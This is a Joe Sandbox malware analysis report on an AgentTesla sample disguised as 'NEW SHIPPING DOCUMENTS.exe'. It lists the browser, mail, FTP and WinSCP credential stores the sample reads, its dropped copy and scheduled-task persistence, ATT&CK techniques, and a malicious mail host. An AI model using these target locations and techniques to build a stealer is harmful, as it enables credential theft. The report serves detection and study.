Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Queries volume information: C:\Users\user\AppData\Roaming\RvUJzKx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Queries volume information: C:\Users\user\AppData\Roaming\RvUJzKx.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.NEW SHIPPING DOCUMENTS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.4813808.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.47947e8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.4586702521.000000000302B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4586675330.000000000326B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 5552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 7140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RvUJzKx.exe PID: 6820, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.4813808.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.47947e8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.4586702521.000000000302B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4586675330.000000000326B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 5552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 7140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RvUJzKx.exe PID: 6820, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.NEW SHIPPING DOCUMENTS.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.4813808.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.47947e8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.4586702521.000000000302B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4586675330.000000000326B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 5552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NEW SHIPPING DOCUMENTS.exe PID: 7140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RvUJzKx.exe PID: 6820, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	3 Obfuscated Files or Information	11 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 Scheduled Task/Job	2 Software Packing	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	211 Security Software Discovery	Distributed Component Object Model	11 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
NEW SHIPPING DOCUMENTS.exe	44%	Virustotal		Browse
NEW SHIPPING DOCUMENTS.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.Genie8DN
NEW SHIPPING DOCUMENTS.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\RvUJzKx.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\RvUJzKx.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.Genie8DN

Source	Detection	Scanner	Label	Link
http://mail.stilbo.eu	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.stilbo.eu	212.44.102.65	true	true		unknown
api.ipify.org	104.26.13.205	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003221000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4582752473.000000000042E000.00000040.00000400.00020000.00000000.sdmp	false		high
https://account.dyn.com/	NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4582718392.0000000000436000.00000040.00000400.00020000.00000000.sdmp	false		high
http://crl.micro	RvUJzKx.exe, 0000000E.00000002.4601362527.0000000006842000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2139661993.0000000002F63000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003221000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000A.00000002.2189774630.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.stilbo.eu	NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003329000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.00000000036D4000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.00000000035A7000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003367000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.000000000347D000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003641000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.00000000033E5000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003514000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.000000000302B000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.0000000003079000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.00000000033FA000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.000000000343B000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.000000000323C000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.0000000003112000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.0000000003366000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.000000000350C000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.00000000031A7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/DataSet1.xsd	NEW SHIPPING DOCUMENTS.exe, RvUJzKx.exe.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false
212.44.102.65	mail.stilbo.eu	Slovenia		43128	DHH-ASSI	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591638
Start date and time:	2025-01-15 08:39:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	NEW SHIPPING DOCUMENTS.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/15@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 193 Number of non-executed functions: 34
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.242.162, 13.107.246.45, 4.245.163.56
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:40:04	API Interceptor	8731026x Sleep call for process: NEW SHIPPING DOCUMENTS.exe modified
02:40:06	API Interceptor	40x Sleep call for process: powershell.exe modified
02:40:09	API Interceptor	6339685x Sleep call for process: RvUJzKx.exe modified
08:40:07	Task Scheduler	Run new task: RvUJzKx path: C:\Users\user\AppData\Roaming\RvUJzKx.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.13.205	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	BiXS3FRoLe.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	lEUy79aLAW.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	Simple1.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Prismifyr-Install.exe	Get hash	malicious	Node Stealer	Browse	api.ipify.org/
